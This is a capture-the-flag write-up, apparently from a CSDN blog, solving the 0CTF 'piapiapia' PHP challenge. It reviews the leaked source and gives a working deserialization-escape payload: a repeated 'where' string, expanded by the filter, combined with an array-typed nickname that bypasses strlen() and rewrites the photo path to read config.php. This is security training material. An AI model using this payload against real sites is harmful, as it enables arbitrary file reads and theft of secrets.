Offensive and defensive world 0ctf-unserialize(piapipia)

  • Question test site: arbitrary file reading + php code audit deserialization
  • I have dirsearched it before doing the problem
    Insert picture description here
  • Tried the process first
  • The first is to register an account on the registration page, then get the supplementary information in the update interface, and finally return to the profile page with the information when you registered.Insert picture description here
  • Then let's take a look at the source code of the webpage given by www.zip
  • register.php
<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
    
    
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
    
    
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
    
    
			die('User name Already Exists');
		}
	}
	else {
    
    
?>
  • There is no simple operation that restricts the user name and user password
  • update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    
    

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
  • Made the following restrictions
  • Phone number must be 11 digits
  • Email must be within 10 numbers and letters @10 numbers and letters within. 10 numbers and letters within
  • nickname must be less than ten digits, letters and underscores
  • The size of the file is also limited. The file name is md5 encrypted.
  • Finally, the profile array was serialized. This should be one of the test points for the topic.
  • profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
    
    
		header('Location: update.php');
	}
	else {
    
    
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
  • A deserialization is performed here. File_get_contents($profile['photo']) is performed at the location of $photo. If our photo value here is a flag file, we can read the file content.
  • There is also a class.php file where the user class and mysql class key code are intercepted
public function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
  • I did filtering + deserialization two days ago. It is obvious that the test point of this question is deserialization escape.
  • The next step is to solve the problem
  • What we want is that the serialized result is
a:4:{
    
    s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
  • In this case, the content in the config.php file will be read directly
  • We need to choose an escape from phone, email, nicknam, photo to deserialize
  • 这里就要补充一个知识点了
  • if(preg_match(’/[^a-zA-Z0-9_]/’, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10)
    die(‘Invalid nickname’);
  • The strlen function can bypass the array strlen(Array()) = null
  • So here we can bypass the length limitation through the array, and then we are going to construct the payload.
<?php
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['xbx_0d'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
  • The result of the operation isa:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
  • This is the effect we want
  • So the part we need to serialize to escape is ;}s:5:"photo";s:10:"config.php";}a total of thirty-four bits
  • And the filter function above will say where is replaced with hacker, which means one more
  • So if we upload the nickname of value
    -wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • There will be the result of the following code
<?php
function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'aaaaaaaaaaa';
$a = serialize($profile);
echo $a;
echo "\n替换后\n";
$b = filter($a);
echo $b;
echo "\n反序列化\n";
$c = unserialize($b);
echo serialize($c);
?>
  • operation result
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
替换后
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
反序列化
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
  • The original photo value is discarded. This is the result of deserialization escape
  • In this case, our file_get_contents is the config.php file
  • Take a look at the flag
    Insert picture description hereInsert picture description here
  • to sum up
  • The focus of the topic is the serialization of the topic name
  • Mainly investigate the escape of deserialization
  • Secondly, an array of strlen() function is added to bypass
  • file_get_contents() should be considered an SSRF
  • Tips:

Why is there no flag in config.php just now, but there is a flag when
I read it . The moment I send it out, this idiot question
www.zip is given to you directly, does not mean that the config.php it uses is for you config.php

Guess you like

Origin blog.csdn.net/CyhDl666/article/details/114261569